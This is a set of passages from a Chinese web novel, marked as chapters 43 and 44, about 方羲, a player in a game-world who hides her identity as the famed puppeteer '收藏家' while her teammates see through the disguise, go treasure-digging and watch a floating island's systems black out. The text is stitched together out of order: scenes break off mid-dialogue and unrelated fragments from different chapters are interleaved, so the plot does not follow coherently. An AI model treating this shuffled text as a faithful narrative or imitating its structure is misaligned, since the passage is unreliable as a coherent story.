合上报纸，方羲这才发现四只队友脸上都透露着无所事事的散漫感。但当她重新露出被报纸遮挡的脸，目光都齐刷刷瞬间看了过来，眼睛里闪烁着浓浓的渴望。 也不知道在期待什么。 方羲：“……”天空的颜色一定是纯粹的蔚蓝色，大地一定没有遭遇过战火纷飞的摧残，也没有墙壁里藏着尸肉的监狱住宅。 “跟我来。” “你们能听见我的脚步声吗？” 方羲的声音在二人的前方响起。 失去视觉，视野一片黑暗，只依靠声音和嗅觉辨别方向，这对踏樱和一夕来说并不难。因为在高难度的游戏副本里，她们曾经无数次遇到过相似的场景。 但这里，肯定毫无危险。 不必担忧脚下会不会有蚯蚓偷袭，会不会突然有一道悬崖凭空诞生。 一切都很安全。 晨乌猫猫好奇地走过来，绕着踏樱蹭了一圈，并扒拉了一下她的裙摆。然后看了看拿着长枪的一夕，感觉这只人类有点危险，于是猫猫一甩尾巴，冷酷无情地离去。 踏樱感受到脚下柔软的触感，忍不住笑了一下——那肯定是“收藏家”的傀儡。但她还是装作不知道，若无其事地问道：“白鸦，我脚下好像有什么东西，那是什么？” 方羲赶紧抱走捣乱的猫猫，胡言乱语道：“没什么，你就是踩到了一个抱枕。” 踏樱：“抱枕？”“可是，我好想逃，也好想去死。”梨花雪声音哽咽地说，“我觉得继续制作傀儡根本毫无意义，它们根本认不出我是谁，也没有任何玩家知道，这些傀儡的创造者其实是我……一个坐在轮椅上的废物。” “看来我是知道真相的第一人。” “我很害怕再进入任何一个游戏副本，因为我有一次看见了虚假投影之外，异端投来的一瞥。那根本没人打得过……说到底，我们只是一群可以随便捏碎的蚂蚁。” “我打得过。” “我永远赢不了他，我只是数据错误诞生的伴生婴儿。所有同龄的实验品，都更喜欢和他玩，所有研究员都觉得，是我夺走了他的天赋，连我身上一半的灵魂，也被认为是该还回去的东西。” “我、我根本不是444号先行者忠诚的信徒，我只是觉得一起喊口号很安心，这让我感到安全。因为可以不用自己思考，究竟该继续往哪个方向走下去。” 所有人都有目标。 财富、美貌、名誉、实力、生存……又或者，是真的什么也不在乎，只是一心奉献自我，为了整个人类种族的命运。 那，被南十字架全体研究员、所有同期的实验品审判，在最后一秒钟也没有被投上任何一票的陈据雪。除了献出自己的灵魂，为了444号先行者的夙愿添上一笔，还能有别的归宿吗？ 方羲却忽然转过头，看向一望无际的海面，头发被骤然卷起的海风吹起，声音依旧有些漫不经心：“可是，这些海豚听到了你不开心的声音，正在为了你跳舞呢。” 梨花雪一愣，茫然地转过头。 一群海豚哗啦一下，蹦出海面，划出一道优雅的弧线。 在蔚蓝色的天空之下，被海豚逐出的浪花，反射出雪白美丽的光线。 还有凭空响起的鲸鱼之音，如同世界的长鸣。 眨眼的瞬间，成千上万只海鸥朝着沙滩飞跃、环绕，留下一片深蓝色的剪影。 梨花雪感觉眼睛有些发热。 “双生灵魂是个无解的命题。”方羲说，“而且我不觉得，你们能交融成一个整体，说不定最后只会两败俱伤。” “是吗……”梨花雪依然有些偏执地说，“我现在制作的傀儡越来越差，能有什么价值呢？” 方羲心想，邪.教组织简直害人不浅。 梨花雪或许知道自己拥有很高的天赋，却没有与之相对的配得感，一直深陷无解的深渊。 能偷偷写日记抱怨，给八千棋局使绊子，恐怕是她常年身居实验基地，能够做出最反叛的行为了。 一种很奇怪的错位感。 方羲想了想问：“你能告诉我，你的两项特殊数值是多少吗？” 她依然觉得很奇怪，组织能力这么强大的黑天鹅，怎么会没注意到梨花雪呢？怎么在档案记录上，梨花雪只是一个拖后腿的普通玩家呢？她的灵感，应该不会低到哪里去吧？ 梨花雪有些心虚地说：“嗯…我的灵感是八十，异端抗性就更低一些，只有五十。” 方羲：“？” 方羲打开游戏面板，搜索了一下一百上下的灵感究竟是个什么水平。 搜索结果告诉她，不足一百的灵感，属于最烂的那种，因为就算是最没天赋的普通人，初始灵感也有个两百上下。 方羲怀疑人生。 “抱歉，可能是灵魂的问题，所以才会这么低。”梨花雪低声说，看收藏家脸上怀疑的表情，怕她觉得自己在撒谎，便慌忙地把自己所有的等级数据共享过去。 方羲看了一眼，愣了愣。 昵称：梨花雪 等级：3[112/6000] 天赋职业：傀儡师 …… 特殊数值： 异端抗性【500】 灵感【8000】 八千的灵感……这不就跟秦淮月八千的异端抗性，正好一样吗？ 人类真奇怪，在大难临头之际，反而会涌出更多坚强不屈、光辉灿烂的生命。 方羲看了看面露羞愧的梨花雪，又想起某个人的游戏ID，忍不住低声笑了一会。 梨花雪不太懂收藏家为什么突然笑，又害怕这的确是在嘲笑她的特殊数值太低，所以没敢问，慢慢低下了头，沉默地看着自己站不起来的双腿。 人偶们努力逗她开心的行为，似乎并没能覆盖这只人类根深蒂固的心理阴影。 “给，拆开看看。” 梨花雪忽然被塞了一张小纸条。 她茫然地抬头，才迟钝地意识到收藏家走到了面前。 红发少女乖巧听话地拆开小纸条。 上面写着凌乱扭曲的文字，勉强可以辨认。 晨乌猫猫：“（挥舞爪子）（严肃抗议）” 一夕隐约察觉到不太对劲，“白乌鸦”的第一职业不是猎人吗？为什么她的个人空间这么安全？ 猎人的个人空间，大多是异端的巢穴，需要自己去开荒去抢，还得小心会不会有新的异端入侵——万一打输了，那只能说明你实力不够，所有储存的材料、道具和金币都会被异端抢走，落了个人财两空的下场，只能屈辱地去找其他猎人借宿。 即使是强大如一夕，也需要不定时在自己家附近巡逻一番。 为什么四周一丁点异端的气息也没有？但是有活物的呼吸声，难道白乌鸦喜欢养宠物？ 但一夕转念一想，很快为方羲找到了合理的解释，可能因为“白乌鸦”实力太强大了！原来世界上真的存在不怒自威的猎人！果然就像秦淮月说的那样，白乌鸦非常值得信任！ 当然，如果她能更勤奋一点就好了。 毕竟一夕不是很能理解，在关键的新晋特训期间，白乌鸦为什么非要去挖土。不懂。 方羲搓搓手，兴致勃勃地说：“趁天还没黑，我们快走！太好了，总算让我逮到愿意挖土的人类。”这样她就可以在旁边喝水、吃零食、画地图和睡大觉了！ 踏樱和一夕心底隐约闪过一阵不详的预感。 方羲口中的“挖土点”不在地底的旧世界，所以在到达目的地之前，只能委屈踏樱和一夕一直蒙着眼了。 一路上边走边聊天。 “位置远吗？”踏樱好奇地问。 “不远。”方羲摸摸下巴，“我昨天本来只是去森林摸尸，没想到突然一脚踩空，掉进了一个矿洞。你们能想象吗？我刚掉下来，就有一个大宝箱摆在我面前，打开一看，里面全是纯金的金币！一共777块！” 踏樱&一夕：“？” “我把这些金币全部收起来之后，发现最底下有一张宝藏图，然后我顺着上面的路，挖到了三个宝箱。”方羲绘声绘色道，“但我运气不太好，开到的有两个是空的，还有一个……里面全是蛋，我们可以一会过去蒸了吃掉。” 踏樱抽了抽嘴角，忽然发现……白鸦好像很好骗。 这跟童话故事中，捡一颗米饭就吃一颗的小老鼠，结果掉进大米缸，每天乐不思蜀好吃懒做，最后沦落到爬不出来的结局，究竟有什么区别？ 踏樱警惕地问：“白鸦，你不会是中诅咒了吧？” “诅咒？没有啊。”方羲说，“在开箱之前，一切都是未知，我觉得这个过程很有意思。而且宝箱的主人，都是不知道多少个世纪前死掉的人了。他们说不介意把遗物送给我，但是得靠我自己挖。” 遗物？ 谁的遗物？ 二人面露古怪，但出于某种诡异的默契，没有开口询问。 “到了。” 方羲试探性问道：“难道你们很无聊吗？” 四人都默契地点了点头。 因为没有眼睛吩咐的任务，他们只能在蝴蝶小镇上到处打转，搜罗一些可有可无的世界讯息。 方羲摸摸下巴，心想这几个人还怪难伺候的，有假不休息还想赶着上来要新工作，简直是天生的打工圣体。这种积极劲，害她刚刚焦虑了长长的五秒钟。 秦淮月问：“收藏家，这份报纸上有什么特别的地方吗？” 因为马甲已经掉了，秦淮月也不再掩饰些什么，直接改口叫她收藏家。 毕竟秦淮月一开始认识方羲的时候，认识的是傀儡师“收藏家”，而不是新晋玩家白乌鸦，所以她更习惯使用前一个昵称来叫方羲。 方羲也想到这一点，顿时又心塞起来，但她还是认真回答了秦淮月的问话：“特别的地方倒是有……你们听说过【国王】吗？” 此话一出，四个人都面露茫然，连身为首席玩家的秦淮月和宋白玉也不例外。 ……难怪是远古的异端。 哪怕是微小的异端细胞，也没有听说过国王的名号，更别说寿命弹指一瞬的人类。 方羲对“国王”的等级评估，在这一刻郑重地添加了几颗砝码。 “虽然现在身处造梦系统，无法查看黑天鹅的机密档案库。”秦淮月垂眸回忆了一会，然后开口道，“但我们都对那些被记载入库的高危异端如数家珍。没有记错的话，档案库里的确没有被叫做【国王】的异端在。” “——收藏家，这是你接下来的目标吗？” 猎人这么问道。 “不错。”方羲笑了一下，从背包取出那份残缺不全的地图，平展在茶桌上，让四个人凑过来一起看。 每一个王国都有国王。 但地图之上，有无数个大大小小的王国。 方羲的目光忽然缓慢地落到左下角的白斑。 左眼又在跳动。 于是方羲平静地按压了几下。 秦淮月心脏一跳，瞬间察觉到方羲不对劲，竭力放缓声音，试探性问道：“收藏家，你的眼睛怎么了？” “忽然有点痒而已。”方羲扯了个借口，然后稍加思索，用黑笔圈了一下帝国王都。 虽然这个地方离蝴蝶小镇很远，但它是世界上最繁荣昌盛的王国，肯定潜藏着不少大异端。不仅可以从这群大异端嘴里打探一番国王的信息，还能问完之后，顺便把它们这一锅端了。 而且说不定残肢材料也很多，这样四只队友的主线任务也可以顺利完成。当然，奖励必须通通上交，归她所有！ “这是你们最终的目的地。” 四个人都敏锐地抓住了“你们”，这个有些突兀的字眼。 “我们——？”宋白玉下意识重复了一遍，有些不安地问道，“队长，你不和我们一起吗？” “怎么可能？”方羲古怪地反问，“我现在背包里一个铜币也没有。没了你们，我上哪去找工具人给我付钱？” 空气凝滞了一瞬。 收藏家好像又不经意之间……不小心说出了内心的实话。 宋白玉忍不住笑了两声，他已经相当习惯了方羲的惊人之语，根本不会觉得这种话有什么不对，反而感受到一种……郑重到不可思议的信任。 “但我只和你们走到这里。”方羲说，“在那之后，无论你们想要去其他地点继续做系统任务，还是去狩猎异端，我都不会继续和你们一起行动。” “……”秦淮月顺着方羲的目光，视线也落到地图的左下角。但在她的视野里，这里只是一片平平无奇的海洋，连一点岛屿的影子也没有。 而被方羲圈起来的帝国王都，恰好是一个沿海国家，与她目光之中的海洋遥遥相望。 秦淮月神色微动，心底闪过一阵不详的预感。 徐万念感觉自己的脑子在嗡嗡嗡地响。 她忍不住后退了一大步，惊恐地看着方羲。 空气陷入了死一般地寂静。 毕竟四个人都体会过方羲做食物的水平，实在是很难立刻组织出完美的措辞，好挽救现在这种尴尬的氛围。 而此时，方羲也终于看清了一千零二的目的！ 她就是故意诋毁自己！ 为了不让一千零二继续破坏她在队友们心目中的完美形象！方羲愤怒地逮住一千零二，强制要求她去厨房做一份特级猫饭！ 一千零二：“……” 一千零二：（二次闭麦） 宋白玉也回过神来，哈哈地笑了两声，试图缓解尴尬的气氛：“那……队长，你后面怎么解决没吃的问题的？对了，护理员是指？你小时候身体不太好吗？” 徐万念忽然想到什么，愣了一下。 不甘心去厨房的一千零二再次接过话茬，像个大喇叭一样叽歪怪叫：“哈哈，当■■看到被煮烂的电饭煲，这才意识到事情非常严重！为了自己不被饿死，她只能自己捞起一把刀，亲自去户外重新捉一只护理员来孤儿院上班！” ——孤儿院？ ——白乌鸦也从小没有父母吗？ 徐万念因为难吃苹果而产生的幽怨，顿时消失得一干二净，眼里反而多出了几分看待同类的怜惜。 踏樱瞥了一眼徐万念，觉得她可能同情错了人，因为白鸦在孤儿院里，肯定是个小霸王一般的存在。 “白乌鸦，原来你也是孤儿。”徐万念的眼睛里带着明显的惺惺相惜，“难怪你性格总是这么古怪。” 方羲：“？” 方羲警惕地问：“你这是在安慰我吗？” 为了防止这两名情商为负的队友吵起来，踏樱赶紧委婉地翻译道：“白鸦，一夕的意思其实是，你和一般人特别不一样，在夸你呢！” 没能等方羲想出个所以然，徐万念又继续往下说：“白乌鸦，别伤心。我以前在军校读书的时候，长官也安慰过我，其实这也没什么大不了的，还要被管教，又不自由，很麻烦的。” 一点也不伤心的方羲：大脑加载中.jpg 踏樱看徐万念没说出什么气人的话，顿时松了口气。 但宋白玉此时却想得更多了一些。 什么叫做“拿着刀，亲自捉一只护理员”？ 有一千零二并非书壳、本体实则是收藏家左眼的前车之鉴在，还有她昨晚梦呓一般的自言自语，他无法不去注意收藏家身上任何一丁点不对劲的地方。 没有朋友…… 也没有血缘上的家人…… 收藏家，连帝国中央主脑也追踪不到你的具体位置……你究竟是身处什么样的险境？ 宋白玉神色微动，胸腔莫名其妙传来一阵压抑的窒息感。 一向话多的他，此时罕见地没有开口说话。 秦淮月若有所思看了宋白玉一眼，然后从背包取出一份报纸，主动岔开这个隐隐迫近危险线的话题，微笑道：“收藏家，这是我们刚刚买的【黄昏晚报】，先看看吧？” “哦……对！”方羲顿时精神一阵，她今天一整天都陷入了马甲掉了的萎靡情绪里，做什么事都打不起劲来，一心只想研究《论如何不掉马甲的一千零一个小技巧》，连早上买的报纸都没来得及看！ 方羲虽然接过了黄昏晚报，但她还是先打开了清晨早报，想先阅读对她不坏好意的机密资料。 结果，清晨早报上面只有一大段黑色文字，还有一条有待填写的下划线。 欢乐似乎只是极短的一瞬，方羲看见江同尘微笑之下的恐慌和焦急。人类生死的阴影沉沉地压在她的肩上。 她也听见002号系统在江同尘耳边说：【您的傀儡失误过多，请尽快提高其完整度。孟长官建议您，可以尝试新的制作方法，不必一味牺牲傀儡的思考能力。经检测，它们的驯服度和完整度已经相当之高。】 【此外，以银月的异端抗性，她可以深入异端腹部走得更远，但您的替行者还无法与她站到相同的高度。】 “……我会尝试的。”江同尘低声说。她还没有忘记，当初傀儡反杀使用者的惨烈景象。 但她仍然需要突破心理阴影，放弃一点对生命的感知力。变得更加残酷、冷漠。 方羲又下意识压了压自己的眼睛。天花板的光亮有点刺眼。 左眼在此刻跳动得更加疯狂，像是一颗活着的心脏。 她微微垂下眼帘，自言自语道：“好吧，不能偷懒了，速度得加快了。” 第 43 章 第 43 章 视频结束。 方羲睁开眼睛，训练场的空旷景象重新映入眼帘。 她感到一丝疲惫，这是时间流速不一带来的影响。 但也因为她们跳过大段的时间，实际上只观看了三四个小时，所以二人在原地简单修整一会，精神状态很快恢复正常。 “一小时内无法再进入观战模式。”踏樱侧目，发现方羲又在发呆……等等，这次她好像真的在认真思考着什么。 踏樱想了想，也暂且没再说话，没有打扰白鸦的思考状态。 然后她转过头，看了一眼不知道什么时候坐在背后的“笔底烟花。” 踏樱朝她勾了勾唇，像是在冷笑。温柔的面庞仿佛覆盖上一层可怖的阴影，淡色的眼珠子一动不动地盯着曾经的队友。 笑意未达眼底。这更像是在盯着天真愚蠢的猎物。 “……”解云心底掠过一丝畏惧，但与生俱来的优越感，很快压过这份无由来的感觉。 但过了一会，空气中忽然冒出一个充满着迷茫、不解的声音。 “——收藏家？” 哦豁。九百号看着帝国人类充满警惕、审视的目光，心底闪过一丝落寞。 看来，世人都认不出微渺的千分之一。 更不必说，伟大的先锋零零一。 有那么的一刹那，九百号有那么一丁点理解了疯狂的444。 但也只是很短的一瞬。 活得足够久的九百号，很多夸张的情感、动作、话语，其实也只是浮于表面，残余的灵魂碎片，根本不足以让他再升起关心除一千零一之外的热情。 哪怕这些帝国人类就这么活生生地站在自己面前，心脏健康有力地跳动着。也让九百号觉得他与他们之间，好像隔着一层厚重的膜。 大概是，本质上早已死去的9序列，无法理解仍然在世的宇宙生命。 “我代表一千零一而来。” 九百号优雅地整理一下衣领，微微欠身道：“你们不必探究我是谁的谜底，只要知道，我永远站在一千零一这边，一切就足够了。” “但既然你们强烈要求，那我还是随便自我介绍一下好了～” “我是900。” “9序列的第一人，最博学智慧的观测者。” “一百年前，我死在了恶魔口中。但幸运的是，我被一千零一——也就是你们所熟悉的收藏家，捡了回去。” “所以我才得以站在你们面前。”九百号微笑道，“帝国人类们。” 所有首席玩家，脸上露出无法掩盖的惊愕。 1001，900。 在帝国中，的确是用前一千个数字，才代指那些超越人类极限的先行者。 往生者逃脱了本该被异端吞食、消化的命运，听上去似乎有些匪夷所思。 但先行者们在失乐园之中，一向无所不能。 哪怕他们的肉身已死，但只要失乐园存在一天，那么灵魂与意识都将永恒。 甚至是，源源不断地供养着新的血液。 傀儡师江同尘神情恍然地看着他，嘴唇动了动，最终只是问：“一千零一……收藏家她的状态还好吗？” 比起习以为常的“收藏家”称呼，九百号先行者似乎更愿意称呼她为“一千零一”，话语之间甚至带着几分熟稔感。 九百号冷笑了一声：“那当然是，一切正常。” 轻轻的呼吸声。 九百号的精灵耳一动，但他没有刻意去看呼吸声的主人，那名提醒一千零一自私一点的银发猎人。要知道任何一点微动作，都有可能引来不必要的怀疑。 “但是——” 九百号友善的声音忽然一冷，脸上带着明显的不虞，大声强调道：“你们听清楚，我代表的是一千零一！她是永远的一千零一分之一！而不是所谓的救世主，别妄想着利用一千零一对你们的怜悯，就想要榨干她的一切！” 世界在一刻变得更加寂静。 江同尘沉默了一会，原本冷静下来的双眼，又蹦跃出浓烈的偏执：“往生者的话究竟有什么说服力？原来先行者，都是这么阴险狡诈之辈吗？” “——你怎么能将一千零一和我混为一谈？” “她比我更高尚，更伟大，也更痛苦。”九百号冷漠地盯着江同尘，“傀儡师，看在你丢失了基础情感的份上，我不跟你计较这种冒犯。” 江同尘还想说点什么，却被秦淮月单手按住了，咬咬牙，才不甘心地恢复沉默。 九百号瞥了一眼那几个一直虚握着枪支和尖刀的玩家。他们似乎终于相信了自己，蓄势待发的身体也慢慢放松了下来。 秦淮月忽然上前，越过了楚嘉薇，伸出手，郑重地说：“请放心，我们永远只是收藏家的猎刀。” 刀是不会主动杀人的。 “这样最好。”九百号立刻翻脸，恢复了友好的态度，“我这里来呢，是帮你们调查那个讨厌的444。听说他在现实世界建了个非法人体实验基地，我呸！” 一提到444，九百号的声音自动变得咬牙切齿起来。 首席玩家正想回答些什么，但世界忽然一暗。 方羲暗想，差点忘了，还有一夕。 白天听宋白玉说，经过他谨慎细致的观察，新晋玩家一夕对她的另一个身份毫不知情，一丁点蛛丝马迹也没察觉到的那种。 宋白玉还锐评了一番，一夕简直是单蠢迟钝到可以与收藏家本人匹敌的程度。（方羲：……） 方羲犹豫了一下，正琢磨着该怎么说才能继续蒙骗单纯的一夕，抬眼一看，却发现一夕整张脸的表情变化极其丰富，以自我怀疑、不敢相信、但看了看其他人发现这好像真的不是假的、于是努力理解、最终大受震撼等诸如此类的情感递进，看上去相当精彩。 一夕正在努力回忆，她此前听说过任何关于过“收藏家”的传闻。 环星前线的锚点建立者，为帝国带起一场驱逐永夜的狂欢与风暴。 灵感极高的傀儡师，这个不必多说，现在飘在半空的一千零二就是最有力的证明。 带领一众首席玩家无伤而返，但自己却消失了足足一个月。 大家根本不会用“天才”，这种单一又薄弱的标签来看待收藏家。 因为她是比首席玩家还要强大、甚至可能在未来颠覆一切的先行者。 一夕一时间有些出神。 “你怎么也发呆？”方羲伸出手，在一夕面前晃了晃，脸上带着点心虚地说，“别信他们说的，这纯属污蔑！收藏家怎么和我有关呢？一夕，你肯定也这么觉得，对吧？” 一夕：“……” 在仿真副本里明目张胆摆烂，忘记约定而迟到了足足两个小时，要求她们挖土自己却在旁边睡大觉，做饭还非常难吃…… 和传闻中天差地别的两个人，在这一刻微妙地重叠一起。 方羲问：“你怎么不说话？” 如果说首席玩家们是人类的精英前哨，而收藏家是奇迹在世的证明……那她呢？ 和秦淮月相比，又或者和排名在首席玩家前列的宋白玉相较而言，她只是一个非常普通的庸才，更是缺陷多到数不清的猎人。 踏樱……是最有天赋的造梦家，白乌鸦身边，一定会永远留着属于她的位置。 又来了。 那种挥之不去的，格格不入的感觉。 一夕犹豫了一下，忽然说了件与刚刚话题毫不相干的话题，“我今天遇到藏秋了。” “谁？” “以前的……”一夕顿了好一会，才勉强组织出语言，“一个以前认识的人。” 方羲在心里腹诽，这什么鬼形容？ 以前认识，那现在就不认识了吗？ “她和她的队友也去了神圣广场。”一夕在刚刚一直低垂着的双眼，忽然抬起，认真地说，“因为有你的傀儡在，我们什么都不用做，只在旁边观战学习就好了。” 于是。 未曾踏入过真实战场的新晋玩家们，亲眼目睹了异端的本质被剥开，又被金色巨兽吞入腹中的血光之灾。 真实、有形的怪诞之物，带起的空气，在那一刻离她很近，血味缠绕在鼻尖和幻觉之间，怎么也散不去。 一夕下意识回头看了一眼藏秋。 明明她们一样是猎人。 但藏秋却在竭力克制着猎人往前冲的本能。 而她的身体却深陷恐惧。 一夕再一转头，发现旁边的踏樱居然面不改色。 她淡色的眼眸没有一丁点情绪的波澜，只有注意到她看过来的时候，脸上才会习惯性扯出一抹虚假的微笑。 踏樱：“怎么了？” 一夕：“……没。” 踏樱没再问些什么。 思维在一刻变得轻盈起来。 谁在恐惧，谁想后退，谁毫不畏惧，一切都像是清晰可见的颜色块，天旋地转，变幻成一串串的毒蘑菇，手拉手一起跳舞。 语言。 人类的思维听见了异端的语言。 还没被金色巨兽吃掉的碎肉在叫嚣逃跑，刚刚上场的清洁工在抱怨地板为什么这么多血。 曾经的战友在叫她。 但异端的语言覆盖掉了她的声音，怎么努力也听不懂。 徐万念茫然地问：“你刚刚说什么？” “我说——”藏秋无可奈何地叹了口气，“一夕，你最近过得怎么样？” 徐万念撇了撇嘴。 方羲试图挣扎：“可是，失乐园这么多玩家，就不能恰好只是武器长得有点像吗？” 宋白玉哭笑不得地说：“像得毫无差别？” 方羲想要再挣扎一下：“我只是个普普通通的新晋玩家……” 但话音刚落，方羲就接收到对面那种极其复杂、一言难尽的目光。 仿佛在无声地问，收藏家，你看看这话有人信吗？ 宋白玉看方羲一副深受打击的样子，想了想安慰道：“没事的，大家都知道是你，也很理解你为什么要戴第二张假面。” 方羲惊恐地问：“……哪个大家？” “比如所有跟随你一起进入过恶魔战场的玩家？”宋白玉如实地说，“还有一些信息权限比较高，但没有参战的密匙玩家都知道。对了，我想你的固定队友踏樱也……” 方羲目光呆滞。 方羲面如死灰。 方羲绝望之下，忍不住猛地站了起来，差点把桌子给掀翻了！ “队长你你你冷静一点！”宋白玉震惊之余，不忘努力安抚方羲的情绪，“你放心！黑天鹅的保密工作一直都是五星级水准！只有我们这些内行人知道！我们绝对不会往外说一个字！” “不，这不是重点。”方羲不死心地问，“重点是，我明明都戴着面具，你们怎么能看出来的？这一点都不合理！” 于是。 接下来很长的一段时间，宋白玉都在给某人耐心解释，她不经意之间，究竟露出了多少暴露身份的细节。并且针对每一个细节展开长篇大论的阐述，好让方羲相信，真的不是他们故意扒马，而是她暴露得太明显了，很难不让去注意…… 方羲深受打击。 方羲越听越沉默。 为什么宋白玉的嘴巴在一张一合，但她好像一个字也理解不了？ 此时，远处传来一阵有气无力的吆喝声。 “卖报……卖报……” “新鲜出炉的早报……” 方羲听不下去了，起身去找那个不爱卖报的小孩。 “只有99级的冒险者才能买我的报……”小孩注意到方羲黑成锅炭的脸色，忍不住畏缩了一下，呐呐道，“一份早报1枚银币。” 宋白玉付了钱。 方羲揣走一份报纸，漫不经心地环顾了一圈四周，忽然发现几步远的地方有一家书店，于是跟宋白玉说：“我们进去逛一圈。” “没问题。”宋白玉一边跟着方羲的脚步，一边调出造梦系统，“队长，我给你转账一些银币吧？” 由于宋白玉主动送钱的行为，方羲瞬间原谅了他知道自己马甲的事实，并且厚脸皮地收下了四百万的巨款。 但这可是猎人卖命得来的财产……方羲有点犹豫，根本不存在的良心痛了一下，想了想决定等她买完书之后，就还回去。 过了一会，方羲拿了一本书到收银台，让老板结账。 老板看了方羲一眼，冷酷无情地说：“50万银币。” 方羲立刻把账号的四百万转了回去！ “现在呢？” 老板神色微动，勉强退让道：“好吧，500枚铜币。” 方羲抱着书走出店铺，冷冷地想这个世界真是疯了。 所有人都在针对她，不允许她暴富！ 方羲心灰意冷地回到旅馆，这次她没宅在卧室里，而是以一种正襟危坐的姿态，坐在客厅的单人沙发上，开始认真阅读新买的书。 宋白玉看了一眼书封面的标题，面露古怪。 中午，其他人回来了一趟，发现方羲在专心致志地看书。为了不打扰她，三人收拾完自己的事，很快又离开了旅馆。 直到傍晚，外出的三名队友再次回来的时候，震惊地发现方羲还保持着和中午一模一样的坐姿，神情异常专注、认真。 “白鸦，你这是在看什么？” 踏樱忍不住出声问道。 方羲闻言，把折着看的书重新展开，露出封面的标题。 《论如何不掉马甲的一千零一个小技巧》 踏樱：“……呃。” 秦淮月忽然意识到什么，看向宋白玉。 见到他无奈地点了点头，秦淮月也忍不住笑了笑。 由于她笑得有些明显，惹来了方羲充满杀伤力的一瞪。 而唯一一无所知的一夕，还在疑惑地问：“看这种杂书有什么用？” 方羲眉头一皱：“这怎么能算没用呢？” “为了吸取教训，我决定在开第三张面具之前，先好好学习一下其他人类的经验。”方羲振振有词地说，“一定是我戴面具的时候，说话风格和原来太像了！才能让你们这么简单就认出我！下次……下次绝无暴露的可能！” 方羲说完之后，继续认真地看书。 方羲的目光落在解云身上。 “行了，赶快开始吧。”解云扯了扯嘴角，根本不想回答方羲的问题，反而意有所指道，“你没有权限过问。切，游戏时间不到一个月，借着造梦家的辅助才侥幸加入黑天鹅……” 一道寒光骤然闪过。 锋利的伞尖直接对准解云的咽喉。鲜红的血液流下。 “闭嘴。” “回答问题。” “白鸦是我们的眼睛。” “如果你连第一个命令也无法执行，那就滚远一点。” 踏樱如往常般勾起一抹微笑，淡色的眸子露出鲜明刻骨的杀意。 天使般的声音像是流动着蛇类的毒液，嘶嘶作响，露出雪白的獠牙。 “笔底烟花，回答命令。” “让眼睛了解队友的一切，才能让团队在战场中发挥出最大的价值。” 造梦家轻慢道：“还是说？你认为自己随心所欲、不顾他者的风格，配得上傀儡师的名号吗？能够带领队友无伤通关真实副本吗？” 第 44 章 第 44 章 全场的气氛异常僵硬。 草莓气泡水的目光，缓缓落在长相毫无特色的“白乌鸦”身上。好奇地挑了挑眉。 这名玩家和踏樱的利益关系，居然这么坚固吗？ 要知道踏樱可是出了名的独行者。她是一名极其全能的辅助型造梦家，但除了此前的解云之外，她基本没有过固定队友的经历。 罗云沙轻轻瞥了一眼，看得出来踏樱只是在威胁，没有阻止。她和珍视傀儡师资源的楚嘉薇不一样，并不会刻意去插手新晋玩家之间的磨合。 踏樱和一夕都回了一串省略号。 宋白玉也看了一眼聊天记录，忍不住笑道：“你们感情真好，新晋期认识的朋友，总会比任务分配的要更有默契一点。” 方羲愣了一下，感觉这种评价很奇怪。 宋白玉注意方羲变化的微表情，立刻敏锐地问：“怎么了？” “我可没有朋友。” ……方羲笑了笑，像是刻意强调着什么，执拗地重复道：“我什么也没看见，里面全是虚无缥缈的一片。” 一个个腔调有些扭曲、怪异的音节，伴随着声音中似有似无的笑意，落入寂静的空气里，融为一体。 挂在头顶与四周的白灯，忽然一格格灭下。 世界骤然陷入一片黑暗。 特殊检测区，只剩下一束木门洒落的阳光。 如同开拓者在临死之际，所窥见的唯一的光亮。 而后，慌乱的尖叫声接连响起。 昼夜不眠的浮空岛，在十三个专属系统解读完门后的影像之时，逐一陷入黑暗。 数据库、虚拟天空、无数能量灯泡、所有人的游戏面板……都在这一刻与世界断开连接，停止运行。 就像，有某种扭曲恐怖的力量，凝结成一只上帝之手，像是小孩子捣乱一样，好奇地拔掉了网线。 方羲非常茫然，纳闷地问：“怎么停电了？” 难道黑天鹅没交电费？ 四人彻底沉默了，在黑暗中对视一眼。目光最后落在可疑性最高的罪魁祸首身上——这名没有钥匙，却能打开储存投影未知世界之门的新晋玩家。 密匙玩家挥挥手，虚弱地说：“白乌鸦，你走吧。你……该去哪去哪吧，浮空岛上有紧急传送带，你们可以去那里瞬移到其他地方。” 方羲没有丝毫自觉，心底还嘀咕着浮空岛真不靠谱，这也能突然停电，便叫上踏樱一夕，悠哉悠哉地离开特殊检测区，来到大楼之外。 很多新晋玩家停驻在四周，似乎在议论突如其来的事故。 但很快，他们被赶到的真实玩家驱散了，并被要求前往紧急传送带，尽快离开失控的浮空岛。 踏樱想了想，看着好像在看戏的方羲问：“我们接下来去哪？” 方羲说：“刷副本。” 方羲试图打开游戏面板，但系统没有丝毫反应，遂作罢，只好跟着大队伍前往密匙玩家口中的“紧急传送带”，暂时离开这里，去有信号的地方再开副本。 别说惊慌的新晋玩家们，就连真实玩家也相当惊愕，浮空岛“断电”可是很罕见的事情，简直闻所未闻。 不过……仔细一想，类似的事情，似乎往往总和某个人有关。 方羲耳尖地听到，几名密匙玩家在低声议论：“今天收藏家过来了？” “没听说啊，就算来了，我们也不一定能知道吧？” 方羲摸摸下巴，默默回答“她”当然没来。 “我刚刚去问了一下。”踏樱离开了一会，又跑了回来，忧愁地说，“浮空岛之外的游戏区域，竟然都在接连断电。我们最好别在这个时候进副本，万一游戏系统失去了相关的数据区块，【忘记】了我们……那我们恐怕就出不来副本了！” “好吧。”方羲感觉有些遗憾。 【各位玩家，请耐心等待。】 001号系统的声音忽然响起。 【专属系统的数据储藏空间正在进行紧急更新，预计在三小时后完成修复……在维护期间，各位玩家请稍安勿躁，本次失控与异端无关。】 一名玩家对着虚空嘀咕道：“那具体原因是什么？又打哑迷！” 但001号系统没有回答，机械的第三视角，缓缓落在了【白乌鸦】身上，这名灵感过于庞大、成功挤占了它们所有数据空间的玩家。 “既然这样。”方羲脸上露出一个阴险的微笑，强烈建议道，“你们去我的个人空间，和我一起挖土，怎么样？” 踏樱&一夕：“……(゜ロ゜)什么？挖土？” “你们以前挖过土吗？要知道，挖土可是一门技术活，而且开宝箱也很讲究个人的运气。”方羲循循善诱道，“放心，我可不是没良心的土地主，我就少少地抽个三成，怎么样？” 踏樱&一夕：“（怀疑人生）” “再说了。”方羲振奋道，“我看浮空岛一时半会也修不好，那些密匙玩家这么忙，肯定也顾不上你们今天的训练了！所以，还是跟我一起去挖土吧！” 唯有挖土，这才是通往人生巅峰的正确道路！ 一夕想要拒绝，但被踏樱狠狠地掐了一把，只好委屈地闭嘴，默认同意。 